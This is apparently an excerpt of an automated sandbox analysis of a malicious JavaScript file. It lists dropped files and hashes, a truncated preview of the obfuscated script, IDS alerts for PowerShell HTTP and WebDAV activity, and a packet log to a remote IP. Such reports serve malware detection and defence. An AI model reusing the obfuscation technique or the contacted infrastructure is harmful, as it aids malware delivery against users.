SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8894ccd1-42f2-417c-a218-c595d0dcc5c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f3c5d91a-e0c7-4e08-85c7-f06ebad0a7fb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16200), with CRLF line terminators
Entropy (8bit):	4.898090695039208
TrID:
File name:	18559217651387524988.js
File size:	19'833 bytes
MD5:	1231a7f47728c93495751407f8710723
SHA1:	6652307fb48ae2957efcdd06fbfd185f82e2262f
SHA256:	31a3261150b6d1e51a1f49f1732622a4397c7995e99a8c8c92dd986fb227a0b2
SHA512:	81cf6bf37f55921148a8c4507884a07207280bc5ec0aaa3bfb3958e8468502fca8062569092a553192a01493ae45fec1646825c284be92ad65df0c86ed757845
SSDEEP:	384:+8cHr8cIHf4f4TrRShKrZe2LVDKzftFv2owqqE:+8cHr8cIJ3AKrZe20zftFv2oh
TLSH:	14922284E1C4CBD207EF06F0388B2E1A7D9802DE8894E9D36A571552979E60C1AF37B7
File Content Preview:	function qzeohs(){zzjqyx=[1031,3079,5127,4103,2055,3072];var xoyubm=this[olmielgo+pqrohnw+zzylvbeug+nenlb+furpxmdl+yskrx+bcozbpojg+lbkeivvrd](this[svkahch+otcuonml+lgyaw+zzylvbeug+wmfwr+olmielgo+lbkeivvrd][uekcasb+zzylvbeug+furpxmdl+pqrohnw+lbkeivvrd+furp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:33:01.331255+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T15:33:04.102892+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:33:00.540713072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:00.545679092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:00.545763016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:00.564238071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:00.569089890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331181049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331196070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331206083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331243992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331254959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331254959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.331309080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331331015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.331334114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331346035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331355095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.331356049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331368923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.331384897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.331437111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.336278915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.384869099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.386395931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.386415005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.386497974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.448414087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448430061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448447943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448458910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448472023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448546886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.448587894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.448755026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448801041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448815107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448838949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.448873043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448888063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.448901892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.448947906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.449692965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.449707031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.449721098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.449739933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.449750900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.449763060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.450158119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.450484991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.450521946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.450534105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.450582981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.450583935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.450645924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.450659037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.450716019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.515815973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.515834093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.515877962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.543646097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.543670893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.543688059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.543737888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.565944910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566019058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.566055059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566091061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566124916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566158056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566174984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.566194057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566227913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566251993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.566318035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566395998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.566452026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566500902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566534042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566550016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.566566944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566600084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566632032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.566639900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.566649914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.567162991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567200899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567233086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.567234993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567269087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567301035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567328930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.567356110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567359924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.567390919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567539930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.567984104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.567997932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568012953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568078041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.568092108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568108082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568121910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568136930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568140030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.568214893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.568821907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568866014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568873882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.568881989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568938971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568953991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568970919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.568973064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.568988085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.569001913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.569170952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.569730043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.569783926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.569798946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.569813013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.569828033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.569840908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.569875002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.602605104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.602643013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.602675915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.602766991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.602793932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.630422115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.630462885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.630532026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.660808086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.660841942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.660866022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.660882950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.660902023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.660923958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.661009073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.683109045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683150053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683186054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.683187008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683238983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683271885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683303118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683335066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.683357954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.683381081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683413982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683449030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683469057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.683480978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683514118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683515072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.683547974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.683561087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.684168100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684218884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684252977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684268951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.684300900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684308052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.684334040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684365988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684397936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684429884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684451103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.684463978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.684504032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.684504986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.685022116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685076952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685111046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685158968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685161114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.685192108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685213089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.685241938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685273886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685308933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685316086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.685635090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.685940027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.685997963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686045885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686079979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686111927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686117887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.686131001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.686165094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686197996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686207056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.686233044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686584949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.686868906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686903000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686935902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.686984062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687036037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687067986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687100887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687133074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687144041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687165976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687192917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687263012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687793016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687808037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687823057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687838078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687851906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687855005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687868118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687884092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687900066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.687915087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687915087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.687937021 CET	49705	80	192.168.2.8	193.143.1.205
